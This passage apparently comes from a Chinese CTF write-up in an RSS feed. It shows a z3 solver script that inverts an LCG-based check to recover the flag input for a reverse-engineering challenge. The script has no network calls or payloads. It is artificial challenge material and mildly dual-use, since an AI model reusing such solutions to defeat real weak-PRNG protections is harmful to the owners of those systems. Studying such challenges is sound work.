<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">((</span><span class="n">a</span> <span class="o">*</span> <span class="n">seed</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span><span class="o">%</span> <span class="n">MOD</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>这里的hint是z3，ChaMD5也是用的z3，学了下z3，牛逼，这个引擎好像是通过剪枝缩小解的范围，然后暴破</p>
<p>不过也挺快的</p>
<p>这里用z3写一个脚本：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">z3</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">1103515245</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">c</span> <span class="o">=</span> <span class="mi">12345</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="mi">2147483647</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="mi">1337</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">MOD</span><span class="o">=</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">STATE</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x1e48add6</span><span class="p">,</span> <span class="mh">0xaaa7550c</span><span class="p">,</span> <span class="mh">0x18df53bf</span><span class="p">,</span> <span class="mh">0xe6af1116</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="p">[</span><span class="n">BitVec</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;start_</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">CAFE</span> <span class="o">=</span> <span class="mh">0xcafebeef</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">FACE</span> <span class="o">=</span> <span class="mh">0xfacefeed</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">Solver</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">def</span> <span class="nf">gen_random</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">global</span> <span class="n">seed</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="p">((</span><span class="n">a</span> <span class="o">*</span> <span class="n">seed</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span><span class="o">%</span> <span class="n">MOD</span><span class="p">)</span> <span class="o">%</span> <span class="n">m</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">return</span> <span class="n">seed</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="n">seeds</span><span class="o">=</span><span class="p">[]</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">seeds</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">gen_random</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">temp</span><span class="o">=</span><span class="n">flag</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="n">CAFE</span><span class="p">)</span><span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">+</span> <span class="n">seeds</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span><span class="p">])</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">*</span> <span class="n">FACE</span><span class="p">)</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">temp</span> <span class="o">^</span> <span class="n">seeds</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])</span> <span class="o">%</span> <span class="n">MOD</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="n">s</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">temp</span><span class="o">==</span><span class="n">STATE</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="c1"># Check for solution</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="k">if</span> <span class="n">s</span><span class="o">.</span><span class="n">check</span><span class="p">()</span> <span class="o">==</span> <span class="n">sat</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="n">model</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">model</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="n">result_start</span> <span class="o">=</span> <span class="p">[</span><span class="n">model</span><span class="o">.</span><span class="n">eval</span><span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">.</span><span class="n">as_long</span><span class="p">()</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">)]</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    <span class="n">user_input</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">    <span class="k">for</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">result_start</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="n">user_input</span><span class="o">.</span><span class="n">extend</span><span class="p">(</span><span class="n">value</span><span class="o">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="s1">&#39;big&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Correct input (in hex):&#34;</span><span class="p">,</span> <span class="n">user_input</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">upper</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;No solution found&#34;</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
]]></content:encoded><h:img src="https://h4cker.zip/53c0e2/vsec2024.webp"/><enclosure url="https://h4cker.zip/53c0e2/vsec2024.webp"/><category>CAN</category><category>RSA签名</category><category>UDS</category><category>JWT</category><category>ICSim</category><category>伪随机数</category><category>安全访问</category><category>Reverse</category></item></channel></rss>